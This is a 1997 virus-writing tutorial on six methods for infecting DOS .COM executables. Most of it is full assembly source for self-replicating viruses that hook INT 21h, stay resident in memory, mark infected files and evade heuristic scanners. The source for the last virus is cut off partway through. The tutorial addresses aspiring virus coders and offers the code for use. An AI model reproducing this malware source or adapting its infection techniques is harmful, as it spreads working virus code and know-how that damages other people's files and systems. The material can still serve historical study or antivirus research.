Six Ways For Infect A COM
Written by Int13h
Paraguay 1997 - South America


INTRODUCTION

Welcome! The plane has already turned on the turbines and now the maneuvering is being started for taking off and contaminate the air. Myself, Int13h, will be your pilot during this little travel to the country of an only one segment called .COM application. When you'll descend of this ephemeral flight, you'll feel prepared for code .COM infectors by using diverse methods, or at least you'll have a much more clear view. I assume that the reader has enough knowledge of assembly and some experience in virus coding :). The example viruses included in this tutorial are coded in the simplest way that i could made, sacrificing speed and efficiency in some cases. Till the NOPs are commented :), they are naked of stealth, tunneling, and a lot of essential features for an actual virus.

For example, in the case of Hernani, the virus goes resident with a 64KB buffer! This is a lot of memory, and it's more logical to allocate temporally the free D.O.S. memory, for liberate it after infection, but this will make it harder and some readers will run away ;) The viruses aren't also coded for infect read-only files, and for redirect the critical error handler. The example codes of this tutorial were compiled, tested and approved with the Turbo Assembler 4.0 y el TLINK 6.10 of Borland International. After made the explanations, we start the take off. Tight your belts!

COM structure

One of the easiest structures of a D.O.S. executable program is the .COM's one. This kind of files has an only 64 kilobytes segment, and into this only segment happily live code, data and stack. In a .COM: CS=DS=SS=ES. All in one This kind of programs, just as the opposite of .EXEs, hasn't header, they are the exact copy of that will be in memory, what we'll see in the .COM will be the same that the memory content when we execute it (this can be easily checked with DEBUG). When a COM program is executed, the D.O.S. builds a PSP (Program Segment Prefix) starting at offset 0 of the free segment, and the PSP occupies 256 bytes (0x100).

Just after the PSP goes the .COM image, that is read from the file. Because this fact, the .COMs are org 100h because the PSP goes before. We have that a COM can occupy 64KB, including its PSP and space for stack. Doesn't matter that our .COM has only 200 bytes, the D.O.S will assign it a whole 64KB segment. If the COM has 200 bytes, added to the 256 of the PSP, whe have that it can only occupy in memory 456 bytes. What happens with the rest of segments? This part is called heap. We can use it as a buffer for everything that we want, for example for the DTA in the runtime infectors, o for the read of MBR in the multipartite viruses, or in what you can imagine.

Let's imagine that we have a file of 3KB in the disk:

        0          100h             3KB
        .-------------------------------------- - - - - - 
        |   PSP    | .COM code        | This is the heap for
        |          |                  | friends :) 
        '-------------------------------------- - - - - - 

PSP Structure

PSP=Program Segment Prefix. This is a control structure that D.O.S. builds when it's going to execute a program. It is very important, and it has some fields that i'm going to describe:

----------------------------------------------------------------
           Offset
Field   Dec     Hex   Length      Description
----------------------------------------------------------------
 1         0       0     2        INT 20h
 2         2       2     2        Memory size
 3         4       4     1        Reserved
 4         5       5     5        Call to the dispatcher
 5        10       A     4        INT 22h vector
 6        14       E     4        INT 23h vector
 7        18      12     4        INT 24h vector
 8        22      16    22        Area used by DOS
 9        44      2C     2        Segment of enviroment variables
10        46      2E    34        DOS work zone
11        80      50     3        Instructions INT 21h, RETF
12        83      53     2        Reserved 
13        85      55     7        Extension of FCB N 1
14        92      5C     9        FCB N 1
15       101      65     7        Extension of FCB N 2
16       108      6C    20        FCB N 2
17       128      80     1        Command line length
18       129      81   127        Command line
19       128      80   128        DTA

We will see only some fields that are useful for the codes of this tutorial. The INT 20h that is at the beginning is used for jump there with a simple RET, and return control to DOS, because the stack always has in the stack a word pointing to CS:0000.

About the fields 13,14,15 and 16, the DOS builds these FCBs since the first pair of parameters, so the program that needs them can open them. With the manipulation via handles, the use of FCBs became obsolete, in the Hernani virus we will see a better use of this place.

Variables and Jumps

The variables are stored using an absolute address, the jumps are relatives to the actual IP. Let's clarify it with a simple example:

0100 EB07   JMP 109     ; EB opcode of jmp short. EB07 jumps to the 7 byte
0103 90     NOP         ; counting since the end of the JMP, this can be
0104 90     NOP         ; interpreted in other ways, but it always gives
0105 90     NOP         ; the same result
0106 90     NOP
0107 90     NOP
0108 90     NOP
0109 90     NOP

Said in another form, the jumps (JMP) and the calls (CALL) doesn't suffer the problems with the moving of offsets, they will always jump x bytes before or x bytes after its actual position.

But the variables are stored in the absolute address form. Let's see a little example:

model tiny
code
org 100h

Fool: in ax,40h
      mov word ptr [number],ax
      int 20h
      number dw 0
End Fool

This easy little program can be compiled in this way:

0100 E540       IN AX,40
0102 A330701    MOV [107],AX
0105 CD20       INT 20
0107 0000       ADD [BX+SI],AL

As it can be seen, the word type variable occupies the absolute addresses 107h and 108h when it will be in memory. The addres goes directly written in the instruction (A330->0701<-). 0701=0107 because the Intel reverse storing. What's the interest of all this? When we write our virus, and we append it, all our variables are bad addressed, so if we has in our virus:

mov word ptr [number],ax                ; A3300701

When we receive the contol at this point, and save the AX content in the offset 107h and 108h overwriting code of our host. Then all is screwed, the virus writing is impossible... hey, a moment! and... what about if we do this?... yes, it works!

What we needed is to obtain a delta offset for address all our variables, obtain a shifting, that added to the absolute value of our variable, will point directly to it.

I feel like i am now going on and on more that a Gongora problem, but it doesn't matter, let's continue =)

For obtain the delta offset we have some methods, and this is the more common

Call Delta
Delta:
pop bp
sub bp,offset Delta

The CALL leaves us in the stack the addres of the next instruction that is going to be executed when the RET will come. What we do is to load this value in BP, and after substract the offset of the subroutine, and in this way we have our master delta offset, and with it we can reference all our variables. In the first execution of the virus, the value of BP can be 0, and in a parasited host this will change. We can use whatever of the index register that we want, by using the indirect addressing (BX,SI,DI or BP). Then, with our master offset, instead of

                     mov word ptr [number],ax
                     mov si,offset Buffer

we will use

                     mov word ptr [bp+number],ax
                     lea si,[bp+offset Buffer]

And we all happy. The assembler compile all the .COM files calculating all the offset of the variables with base 100h, because PSP, of course. Another way for obtain the delta offset is:

        mov bp,sp                       ; Get delta offset
        int 12h                         ; A random int
  Delta:mov bp,word ptr SS:[bp-06]
        sub bp,offset Delta

InFeCtIoN mEtHoDs (All the ways lead us to the virus :)

Well, all the above will have been a truis for a lot of people, but not for all ;)

Because the simplycity of the .COMs, diverse methods were developed by the virus coders for do its infection. In this little tutorial we will see, with a lot of details and examples, six of these methods. Each one have its oddities, its little troubles and its solutions :) Let's begin then.

1.) Overwriting

I ingnore the reason because this rough method is included here, but i suspect it's for fill space :-) This is the lamest technique of all, it consists in the simply overwriting of the beginning of the host with the virus code, and when the host is executed, the virus takes the control, and as it hasn't saved the overwrited place of the host, it won't be able to return the control to it (the host). As it's at the beginning of the host, it doesn't need to calculate the delta offset because its variables are placed always at the same offset on they were compiled. This way of infection hurt the filesthat it infects, and it's very evident that there is going something wrong in our system. Arrrgh! Got antivirus.

Here is a little diagram of the "strategy" of this kind of virus:

                INFECTION DIAGRAM
          BEFORE                 AFTER  
        .--------.             .--------.
        |Program |  Infection  |VIRUSam |
        '--------'             '--------'

Below the example virus.

8<- [BEGIN] - - - -  - - - - -<lamah.asm>- - - - - - - - - - - - - - - >8
Comment %

Name  : Lamah
Method: Overwriting
Descr.: Overwriting direct action COM infector

                tasm lamah.asm /m3
                tlink lamah.obj /t
%

Lamah Segment
Assume cs:Lamah,ds:Lamah,ss:Lamah,es:Lamah
Org 100h

Longitud equ offset Heap-100h

LameVir:mov ah,4eh
        xor cx,cx
        mov dx,offset Victimas  ; Looks for the first .COM
        int 21h
        jnc TestarMM

Restaurar:
        mov ah,9
        mov dx,offset Broma     ; Print a text
        int 21h

        xor ax,ax               ; And exit to dos
        int 21h

TestarMM:
        mov si,9eh              ; There begins the name of the file
        mov dx,si
        cmp word ptr [si+2],"MM"; coMMand.com?
        je Siguiente

        mov ax,3d02h            ; Open it
        int 21h
        xchg bx,ax              ; bx=handle

        mov ah,3fh
        mov cx,2                ; We read 2 bytes
        mov dx,offset Es_Lamer
        int 21h

        mov ax,word ptr [Es_Lamer]
        cmp ax,'ZM'             ; Is .EXE?
        je Siguiente

        cmp ax,04eb4h           ; Is it infected
        je Siguiente

        mov ax,4200h            ; Set pointer to the beginning of the file
        xor cx,cx
        xor dx,dx
        int 21h

        mov ax,5700h            ; Save date and time
        int 21h                 ; in stack
        push cx
        push dx

        mov cx,Longitud         ; Suriv size
        mov dx,100h             ; Virus start
        mov ah,40h              ; Write over file
        int 21h
           
        mov ax,5701h            ; Restore date and time
        pop dx
        pop cx
        int 21h

Siguiente:
        mov ah,3eh              ; Close
        int 21h
        mov ah,4fh              ; Search next .COM
        int 21h
        jnc TestarMM
        jmp Restaurar

        ; The author was afraid about signing, anonimous virus ;)
        db ']-LAMAH VIRUS-['

        Victimas db '*.com',0
        Broma db 0dh,0ah,' WARNING! Lazy opcode 90h was found.'
              db ' Consult Apocalipsis segment 8, offset 7.',0dh,0ah,024h

Heap:   Es_Lamer dw 0           ; For read a pair of bytes

Lamah Ends
End LameVir
8<- [END] - - - - -  - - - - -<lamah.asm>- - - - - - - - - - - - - - - >8

2.) Appending

The viric code is placed at the end of the host, and in the beginning of the host we write a jump that point to the virus. In this way, firstly receives the control the self-replicating code, that, at the same time, infects other programs or goes to memory, and after it restores the first 3 original bytes of the host to the beginning (in memory!), and then it jumps to the 100h addres, and the guest receives the control and it doesn't note anything.

                INFECTION DIAGRAM
          BEFORE                 AFTER  
        .--------.             .--------------.
        |Program |  Infection  | jrogramVIRUSP|
        '--------'             '--------------'
                                 '-------'   '--< original host bytes
                                Jump to the virus

8<- [BEGIN] - - - - - - - - -<macondo.asm>- - - - - - - - - - - - - - - >8
Comment %

Name  : Macondo
Method: Added to the end
Descr.: Infects on execution, resident in Interrupt Vector Table (IVT)
%

Model Tiny
Code
Org 100h

VirusSize = (offset Fin-offset Inicio)

Inicio: call Delta
Delta:  pop bp
        sub bp,offset Delta

        cld
        xor bx,bx               ; BX=0
        mov es,bx               ; ES=segment 0
        cmp word ptr es:[0204h],0ed81h
        je YaEnMemoria          ; Macondo already in memory?

        mov ax,3521h            ; Ask for INT 21h handler
        int 21h
        mov [bp+word ptr ViejaINT21h+2],es
        mov [bp+word ptr ViejaINT21h],bx

        xor bx,bx               ; We will live in the Interrupt Vector
        mov es,bx               ; Bable, at segment 0
        mov di,0200h            ; since offset 200h

        lea si,[bp+offset Inicio]
        mov cx,VirusSize        ; Copy ourselves to IVT
        rep movsb

        push es
        pop ds                  ; DS=ES=0

; As we will live in 200h, we will add 100h for make the variables point 
; to the right place, because they are calculated as 100h as it's a .COM
        mov dx,(offset Viral21Handler+100h) 
        mov ax,2521h            ; We take INT 21h
        int 21h

YaEnMemoria:
        push cs cs
        pop ds es

        lea si,[bp+offset Originales]
        mov di,100h             ; Restore the original bytes
        push di                 ; We bring 100h to the stack
        movsw
        movsw

        xor bp,bp
        xor di,di
        xor cx,cx
        xor si,si               ; We clear the registers
        xor ax,ax
        xor bx,bx
        xor dx,dx
        ret

Viral21Handler:
        cmp ah,04bh             ; Execution?
        je VerificarFile
INTDOS: db 0eah
        ViejaINT21h dw 0,0


AlPrincipio:
        mov ax,04200h           ; Pointer to the beginning of the file
        jmp short Arrastrarlo
AlFinal:mov ax,04202h           ; Pointer to the end of the file
Arrastrarlo:
        sub cx,cx
        cwd                     ; xor dx,dx / sub dx,dx
        int 21h
        ret

VerificarFile:
        push ax bx cx dx si di ds es

        mov ax,3d02h            ; Open fichero
        int 21h
        jc Popear               ; If there was a program we cancel  
        xchg bx,ax              ; Billy "Puertas" (Gates) coded the DOS...

        push cs cs
        pop ds es

        mov dx,(offset Originales+0100h)
        mov ah,03fh             ; Read the first 4 bytes
        mov cx,4
        int 21h

        mov si,dx
        mov ax,[si]
        add ah,al
        cmp ah,167              ; MZ? ZM? It can be a misnamed .EXE
        je Cerrar

        cmp byte ptr [si+3],'' ; Ipor nde marker!
        je Cerrar               ; Already infected?

        call AlFinal            ; Move pointer to EOF

        cmp ax,60666d           ; It can't be too big
        jnb Cerrar

        cmp ax,666d             ; It can't be too short... Lucifer rules >:)
        jbe Cerrar

        sub ax,3                ; Build the JMP to the virus
        mov word ptr [(Salto+0100h)+1],ax

        mov dx,200h             ; Init of the virus in memory
        mov ah,40h              ; We write to the end of the host
        mov cx,VirusSize
        int 21h

        call AlPrincipio        ; We go to the beginning

        mov ah,40h
        mov dx,(offset Salto+100h)
        mov cx,4                ; We write the jump
        int 21h

Cerrar: mov ah,3eh              ; Close the file
        int 21h

Popear: pop es ds di si dx cx bx ax
        jmp INTDOS              ; Jumpt to the old handler

Originales db 090h,090h,0cdh,020h
Nombre     db ' < MACONDO >  by Int13h '
Salto      db 0e9h,00h,00h,''

Fin:
End Inicio

8<- [END] - - - - - - - - -<macondo.asm>- - - - - - - - - - - - - - - >8

3.) Non-Destructive overwriting

That a virus of this kind must do is to copy to the end of the file the x bytes that are at the beginning, where x represents the size of the virus. After this, we overwrite the host with itself. For restore the control we need to copy to the beginning all the bytes of the host that we had stored at the end. There we have a little problem. Let's imagine what we do for return to its original location what we moved of the host.

0100 mov si,offset Codigo_del_Hoste
0103 mov di,100h
0106 mov cx,longitud_del_virus
0109 rep movsb

While we are executing this, we will move the original part over 100h, but we will overwrite all the code that is doing the shifting and all what goes after it, the code that will jump to 100h. Whatta problem, but there are always solutions. Do you remember the heap? It's the not used part by the .COM, what we can do is to infect the files that haven't size over 62000 bytes, and write over this zone the code for make the shifting, clear the registers and jump to 100h for return the control. Another memory zone that we can use is the offset 6ch of the PSP, that is the FCB N2, anyway any program i know use this zone. Ussually, the programs that use the old FCB methos have inside them special memory zones for that, and don't use the easiness of PSP. But this is another history. We don't need to calculate the delta offset because the infector code is in the beginning.

                INFECTION DIAGRAM

          BEFORE                 AFTER 
        .--------.             .------------.
        |Program |  Infection  |VIRUSamProgr|
        '--------'             '------------'


8<- [BEGIN] - - - - - - - - - -<lancelot.asm>- - - - - - - - - - - - - - - >8
Comment %

Name  : Lancelot
Method: Non-destructive overwriting
Descr.: Infect .COMs and marks infection in the second field.     
        Resident with INT 27h. Copies its loader in the heap
%

model tiny
code
org 100h
jumps

Longitud = (offset Fin1-offset Inicio)

Inicio: mov ax,3521h            ; Ask for INT 21h handler    
        int 21h
        cmp bx,offset Handler_21h       ; Look if the offset is equal
        je Ya_en_Memoria                ; Already installed
        mov word ptr [Vieja21h],bx      ; Save this information  
        mov word ptr [Vieja21h+2],es    ; in our variables

        mov ax,2521h            ; Hook INT 21h
        mov dx,offset Handler_21h
        int 21h

        mov ax,cs:[02ch]        ; Environment Segment
        mov es,ax
        mov ah,49h              ; Free segment
        int 21h

        mov dx,offset Fin2+1    ; Leave resident this amount
        int 27h                 ; Control isn't returned

Ya_en_Memoria:
        push cs                 ; Fix segments
        pop es
        mov si,offset Copier    ; Move the little code to heap
        mov di,64666            ; into this offset
        mov ax,di               ; Save the address for jump
        movsw                   ; Copy...
        movsw                   ; Sure, of course i know
        movsw                   ; mov cx,5
        movsw                   ; rep movsw!
        movsw                   ; But in this way is more readable :P
        movsb

        db 0beh                 ; mov si,xx xx
Originales dw ?                 ; File end (Original data)
        mov di,100h             ; 100h, COM entry point
        add si,di               ; 100h, because PSP
        push di                 ; Put it in stack
        mov cx,Longitud         ; What to move
        xor bx,bx               ; Clear bx
        xor dx,dx               ; Clear dx
        jmp ax                  ; Jump to code (in heap)

Copier: repe movsb              ; Made the copy    
        xor si,si               ; Clear si         
        xor di,di               ; Clear di
        xor ax,ax               ; Clear ax
        xor cx,cx               ; Clear cx
        ret                     ; Execute host!

VirusName db " [Sir LANCELOT du Lake Virus]"
          db " (c) Programmed by Sir INT13H du Madness"
          db " Kingdom of Paraguay "

Handler_21h:
        cmp ax,04b00h           ; Execution?
        je Infectar
Do_It:  db 0eah                 ; Far jump to old handler
        Vieja21h dd ?           ; old handler

Infectar:
        push ax bx cx dx si di es ds    ; Save all

        mov ax,3d02h            ; Open DS:DX for read/write
        int 21h
        jc Popear               ; Fux!
        xchg bx,ax              ; Handle in bx

        mov ax,5700h            ; Take date
        int 21h
        mov word ptr cs:[Fecha],dx      ; Put in a variable date
        mov word ptr cs:[Hora],cx       ; Put in a variable hour
        and cl,00011111b
        cmp cl,00011110b        ; 60 seconds?
        je Cerrar               ; Already infected!

        push cs cs              ; Fix segments
        pop ds es

        mov ah,3fh              ; Read beginning of the file
        mov cx,Longitud         ; in our buffer
        mov dx,offset Buffer
        int 21h

        mov si,dx
        mov ax,[si]             ; for comparison

        add ah,al
        cmp ah,167d             ; MZ, ZM, etc.
        je Cerrar

        mov ax,4202h            ; Pointer to the end
        xor cx,cx
        cwd
        int 21h

        and dx,dx               ; More that one segment?
        jnz Cerrar

        cmp ax,63000d           ; Not too big
        ja Cerrar

        cmp ax,666              ; Not too small
        jbe Cerrar

        mov word ptr [Originales],ax    ; Save EOF

        mov ah,40h
        mov dx,offset Buffer    ; Write the data at end
        mov cx,Longitud
        int 21h

        mov ax,4200h
        sub cx,cx               ; Move pointer to the beginning
        cwd
        int 21h

        mov ah,40h
        mov dx,100h             ; Write virus
        mov cx,Longitud
        int 21h

        mov ax,5701h
        db 0bah
        Fecha dw 0              ; Return date and hour 
        db 0b9h
        Hora dw 0
        and cl,11100000b        ; Mark as infected putting
        or cl,00011110b         ; 62 in the seconds field
        int 21h

Cerrar: mov ah,3eh              ; Close file
        int 21h

Popear: pop ds es di si dx cx bx ax     ; Restore registers
        jmp Do_It               ; Execute original INT 21h

Fin1:   Buffer db (Longitud-2) dup (090h)
        int 20h                 ; For the first execution

Fin2:                           ; end in memory 

End Inicio
8<- [FIN] - - - - - - - - - -<lancelot.asm>- - - - - - - - - - - - - - - >8

4.) Shifting method

Consists in write completly at the beginning the virus code and after this the host. The elder virus Jerusalen does this. We need a 64K buffer, write there the viric code and after this the host. As i said, this of have a fixed buffer of 64K isn't the best idea, it's better to allocate more memory use it and free it after finishing the dirty work :) For restore the control we must move completly the code (always in memory!) from the host to 100h, and it can use the same considerations that the last method, at the problem of overwriting the code that is doing the move. This kind of infectors doesn't need delta offset.

                INFECTION DIAGRAM   
          BEFORE                 AFTER  
        .--------.             .-------------.
        |Program |  Infection  |VIRUSProgram |
        '--------'             '-------------'


8< - [BEGIN] - - - - - - - - - -<hernani.asm>- - - - - - - - - - - - - - - >8

Comment %

Name  : Virus Hernani
Method: Host shifting
Descr.: Resident by using the function 31h of INT 21h, infects on execution
        marks files with the value of 62 in the second field.    
        Saves 64 kilobytes of memory, that are used as buffer for the host
        reading just after the virus. For restore the control it copies the 
        restore code to the offset 6ch of PSP, that it's the FCB N2

%

model tiny
code
org 100h

Hernani:mov ax,3521h            ; We ask for vector of the Int 21h
        int 21h
        cmp bx,offset Handler_21h       ; Hernani already installed?
        je Ya_en_Memoria
        mov word ptr [Vieja21h],bx      ; Save the handler's offset   
        mov word ptr [Vieja21h+2],es    ; and the segment

        mov ax,2521h            ; Redirect the INT
        mov dx,offset Handler_21h
        int 21h

        mov ax,cs:[02ch]        ; Environment Segment
        mov es,ax
        mov ah,49h              ; Free segment
        int 21h

        mov ax,3100h            ; Terminate and stay resident
        mov dx,1000h            ; with a 64KB buffer!
        int 21h                 ; It doesn't return the control

Ya_en_Memoria:
        push cs                 ; Correct our Extra Segment
        pop es
        mov si,offset Copier    ; Move the copier to PSP
        mov di,06ch             ; offset 06Ch, over the FCB N 2
        mov ax,di               ; Offset that we're going to jump
        mov cx,5
        repe movsw              ; Move the return code
        movsb                   

        mov si,offset FinVirus  ; Point to the original host 
        mov di,100h             ; 100h, entry point of COM
        push di                 ; 100h to the stack
        db 0b9h                 ; mov cx,xx xx
        Originales dw ?         ; Original guest size
        xor bx,bx               ; Clear the 
        xor dx,dx               ; registers, and after jump to the
        jmp ax                  ; loader that we moved to PSP

; This is the code that we'll move over the FCB in the PSP
Copier: repe movsb              ; Registers were already set-up!
        sub si,si               ; Clear the registers
        xor di,di               ; that we forgot to clear
        sub ax,ax
        xor cx,cx
        ret                     ; And we run the host!

VirusName db " [HERNANI by Int13h] * Paraguay '97 "

Handler_21h:
        cmp ax,04b00h           ; Execution?
        je Infectar
Do_It:  db 0eah                 ; Far jump to the old handler
        Vieja21h dd ?

Infectar:
        push ax bx cx dx si di es ds    ; Save all the registers

        mov ax,3d02h            ; Open DS:DX for read/write
        int 21h
        jc Popear               ; Damn!
        xchg bx,ax              ; Handle in bx

        mov ax,5700h            ; Ask date/time
        int 21h
        mov word ptr cs:[Fecha],dx      ; Save date 
        mov word ptr cs:[Hora],cx       ; and time
        and cl,00011111b        ; Look infection mark
        cmp cl,00011110b        ; 60 seconds?
        je Cerrar               ; Already infected!

        push cs cs              ; es=ds=cs
        pop ds es

        mov ax,4202h            ; Go to the END
        xor cx,cx
        cwd
        int 21h

        and dx,dx               ; Bigger than a segment?
        jnz Cerrar

        cmp ax,64000d           ; Not too big
        ja Cerrar

        cmp ax,666              ; Not too small
        jbe Cerrar

        mov word ptr [Originales],ax    ; Save length!

        mov ax,4200h            ; Return to the beginning
        cwd
        sub cx,cx
        int 21h

        mov cx,word ptr [Originales]    ; Read completly the file     
        mov ah,3fh                      ; in our buffer, because this
        mov dx,offset FinVirus          ; we need a big buffer
        int 21h                         ; because the com can be big

        mov si,dx
        mov ax,[si]             ; For make the comparison

        add ah,al
        cmp ah,167d             ; MZ, ZM, etc.
        je Cerrar

        mov ax,4200h            ; Move the pointer to the beginning
        cwd
        sub cx,cx
        int 21h

        mov ah,40h              ; Write in the file
        mov dx,100h             ; Virus+Host 
        mov cx,(offset FinVirus-offset Hernani)
        add cx,word ptr [Originales]
        int 21h

        mov ax,5701h
        db 0bah                 ; mov dx,xx xx
        Fecha dw 0              ; Restore date and time
        db 0b9h                 ; mov cx,xx xx
        Hora dw 0
        and cl,11100000b        ; Put value 62 in the seconds
        or cl,00011110b         ; field
        int 21h

Cerrar: mov ah,3eh              ; Close file
        int 21h

Popear: pop ds es di si dx cx bx ax     ; Restore registers  
        jmp Do_It               ; And go to the old int 21h    

FinVirus:
        sub ax,ax               ; Exit to DOS
        int 21h                 ; Only first execution

End Hernani

8<- [END] - - - - - - - - - -<hernani.asm>- - - - - - - - - - - - - - - >8

5.) Jump redirection

This is a little variation of the appending, but it also can be used with the mid-file infectors. As we had viewed, in the appending viruses a jump to the virus code that it's at the end is inserted. What this kind of virus does is look for existing jumps in the host and redirect them for make them point to the virus, so it has the advantage that the jump isn't always at the beginning, and the heuristics can fade it, because this jump maybe can be executed only certain conditions. Let's assume that that in the offset 20h of the host we find a E901A0, a jump that is redirected to a critical error handler. If all is going right, this jump won't be executed and the virus won't receive the control, but if sometime an error happens, the host will redirect to this jump that gives the control to the virus, and it will wake up from its letargy of centuries with a tender breeze of big dead and putrid greatness (GGM!) :)

                INFECTION DIAGRAM     
          BEFORE                  AFTER  
        .--------.             .--------------.
        |Program |  Infection  |PjrogramVIRUS |
        '--------'             '--------------'
                                 '------'


8<- [BEGIN] - - - - - - - - -<nostra.asm>- - - - - - - - - - - - - - - >8
Comment %

Name  : Nostradamus
Method: Jump redirectionalto
Descr.: Resident vir MCB manipulation, it has a 512 bytes buffer, there 
        it reads the host's code searching for the first jump and the first
        call, if it founds it, it modifies them for point to the virus  
        and take the control temporally, and after this it restores the 
        registers and returns the control to the original desired offset.

                tasm nostra /m2
                tlink nostra /t
%


model tiny
code
jumps
org 100h

Largor     equ  (offset Visions-offset Nostradamus)
EnMemoria  equ  (offset FinEnMemoria-offset Nostradamus)
Parrafos1  equ  ((EnMemoria+15)/16)+1
Parrafos2  equ  ((EnMemoria+15)/16)
BuffSize   equ  512d
Addme      equ  (offset Return_Control-offset Nostradamus)


NOSTRADAMUS:
        pushf
        push ax bx cx dx si di bp es ds

        mov ax,'NS'             ; Verify residence 
        int 21h
        cmp ax,0cd13h
        je Nostradamus_is_Alive ; We are already sucking memory

        call Delta
Delta:  pop bp                  ; Take the delta offset
        sub bp,offset Delta

        mov ax,3521h
        int 21h                 ; Save int 21h handler
        mov cs:[bp+word ptr Vetusta21h],bx
        mov cs:[bp+word ptr Vetusta21h+2],es

        mov ax,ds
        dec ax                  ; MCB
        mov es,ax
        mov ax,es:[3]
        sub ax,Parrafos1        ; Make place for the virus
        xchg bx,ax

        push ds
        pop es
        mov ah,4ah              ; Free
        int 21h

        mov ah,48h
        mov bx,Parrafos2        ; Allocate memory crazy and rash 
        int 21h

        dec ax
        mov es,ax
        mov word ptr es:[1],8   ; It's tipical of Mr DOS
        inc ax
        mov es,ax               ; This is our promised segment :)
        xor di,di

        push cs
        pop ds
        lea si,[bp+offset Nostradamus]
        mov cx,Largor
        rep movsb               ; Settle the promised segment

        push es
        pop ds
        mov ax,2521h            ; Hook 21h 
        mov dx,(offset Centurias21h-100h)
        int 21h

Nostradamus_is_Alive:
        pop ds es bp di si dx cx bx ax
        popf


; Here we jump to the original desired address
Return_Control  db 0e9h,0,0
                int 20h         ; For the 1st generation

Centurias21h:
        cmp ax,'NS'             ; Residency check?   
        je Testeo
        cmp ah,04bh             ; Execution?
        je Pudrirlo
Interrupcion_21h:
        db 0eah
        Vetusta21h dw 0,0
Testeo: mov ax,0cd13h
        iret

Homenaje db ' [NOSTRADAMUS (c) Copyright Int13h] '
         db '* Made in Paraguay - South America '

Pudrirlo:
        push ax bx cx dx si di ds es

        mov ax,3d02h
        int 21h
        jc Popeo
        xchg bx,ax              ; Wonderful DOS :)

        mov ax,5700h
        int 21h                 ; Ask time and date 
        mov word ptr cs:[(Hora-100h)],cx
        mov word ptr cs:[(Fecha-100h)],dx
        and cl,00011111b
        cmp cl,00011110b        ; 60?
        je Closeo

        push cs cs
        pop ds es               ; ES:=CS

        mov ah,03fh             ; Read 512 bytes to our buffer
        mov dx,(offset Buffer-100h)
        mov cx,BuffSize
        int 21h

        mov si,dx
        mov ax,[si]             ; The first pair of bites to AX

        cmp al,0beh             ; COMPACKed? (mov si,xxxx)
        je Closeo

        cmp al,0b8h             ; PKLITEed? (mov ax,xxxx)
        je Closeo

        add ah,al
        cmp ah,167d             ; MZ or ZM?
        je Closeo

        call PunteroFin         ; Go to EOF

        and dx,dx               ; Huge...
        jnz Closeo

        cmp ax,63000d           ; Very big...
        ja Closeo

        cmp ax,666              ; Very little
        jbe Closeo

        push ax                 ; Save the size     

        mov si,(offset Buffer-100h) ; Point to our buffer
        sub cx,cx               ; Clear the counter  

Buscar: lodsb                   ; Load the byte in al
        cmp al,0e9h             ; Is j (e9 xx xx)
        je Hallado              ; Jump found!
        cmp al,0e8h             ; Is un   (e8 xx xx)
        je Hallado              ; Call found!
        inc cx                  ; Continue searching...
        cmp cx,Buffsize         ; Had our buffer finished?
        jbe Buscar              ; Repeat if not yet  
        jmp short Closeo        ; We didn't find anything, we don't infect

Hallado:mov dx,[si]             ; Number of bytes to jump 
        add dx,cx               ; Add the offset of the JMP/CALL to DX

        pop ax                  ; Get the file size
        push ax                 ; And put it in stack again
        sub ax,dx               ; EOF - DX

        add ax,Addme            ; (Return_Control-Virus beginning)
        neg ax                  ; NEG it! Because it'll always go backwards

        mov di,(offset Return_Control-100h)+1
        stosw                   ; Write the calculated offset   

        pop ax                  ; We decrease the size again    
        sub ax,cx               ; SUB offset where we found the JMP/CALL
        sub ax,3                ; Things of JMP/CALL :)

        mov di,si               ; SI=DI
        stosw                   ; Point to virus (EOF)

        call PunteroInicio      ; Move the pointer to the beginning

        mov ah,40h              ; Write to the file the modified buffer   
        mov dx,(offset Buffer-100h)
        mov cx,BuffSize
        int 21h

        call PunteroFin         ; Go to EOF

        mov ah,40h
        xor dx,dx               ; Add virus...
        mov cx,Largor
        int 21h

        mov cx,word ptr cs:[(Hora-100h)]
        and cl,11100000b
        or cl,00011110b         ; 30*2=60!
        mov dx,word ptr cs:[(Fecha-100h)]
        mov ax,5701h            ; Restore date and time, marked seconds 
        int 21h

Closeo: mov ah,3eh              ; Let's end
        int 21h

Popeo:  pop es ds di si dx cx bx ax
        jmp Interrupcion_21h


PunteroInicio:
        mov ax,04200h           ; BOF
        jmp short Mover
PunteroFin:
        mov ax,04202h           ; EOF
Mover:  xor cx,cx
        cwd
        int 21h
        ret

        db " Michel de Nostredame * 1503 - 1566 ",13,10
        db " There's still time to understand his words "

Visions:
Hora       dw 0                 ; La hora del hoste
Fecha      dw 0                 ; La fecha del anfitrin
Buffer     db BuffSize dup (0)  ; Nostradamus's buffer
FinEnMemoria:
End Nostradamus
8<- [END] - - - - - - - - -<nostra.asm>- - - - - - - - - - - - - - - >8

6.) Random location

I love this kind of virus. It's places in any offset of the guest and receives the control by using a jump. It can be also called mid-file infection. The easiest way is to obtain randomly an offset between 3 and the (size of host-size of virus) and pleace it there, and after that write a jump at the beginning of the host that gives the control to the virus. This is the easiest way, but there are another better methods. The Literatura Virus builds a polymorphic header that gives the control to the virus anywhere it is. The Commander Bomber Virus of Dark Avenger builds little islands of polymorphic jumps and places them over the host, and the intention of this little islands of code is go passing the control until arrive to the virus code. I can say that the master Dark Avenger [CrazySoft] was the first one in use this method, as he was pioneer in another areas of virus coding. This guy is everywhere (zdravei!).

                 INFECTION DIAGRAM     

          BEFORE                  AFTER  
        .--------.             .--------------.
        |Program |  Infection  |jProgVIRUSram |
        '--------'             '--------------'
                                '----'
                                Jump to the virus


8<- [BEGIN] - - - - - - - - - -<quijote.asm>- - - - - - - - - - - - - - - >8
Comment %

Name  : Quijote
Method: Random placing 
Descr.: It's placed in a random offset of the host, the infection mark in
        the seconds field, resident via MCB. Uses a random number generator.

%

Model Tiny
Code
Org 100h
Jumps

Heap       equ  (offset Final-offset Omega)
Largor     equ  (offset Omega-offset Quijote)
Parrafos   equ  ((Largor+Heap+15)/16)+1

QUIJOTE:call Sancho_Delta
Sancho_Delta:  
	pop bp
	sub bp,offset Sancho_Delta
	
	mov ax,'QJ'
	int 21h
	cmp ax,0cd13h
	je QuijoteIsAlreadySuckingMemory

	mov ax,3521h
	int 21h
	mov cs:[bp+word ptr Vieja21h],bx
	mov cs:[bp+word ptr Vieja21h+2],es

        mov ax,ds                       ; DS points to PSP
        dec ax                          ; Substract a paragraph
        mov ds,ax                       ; and we have the MCB

        cmp byte ptr ds:[0],'Z'         ; Z Block?
        jne Quijoteisalreadysuckingmemory
        
        sub word ptr ds:[3],Parrafos    ; Free memory for the virus
        sub word ptr ds:[12h],Parrafos  ; We also modify in the PSP    
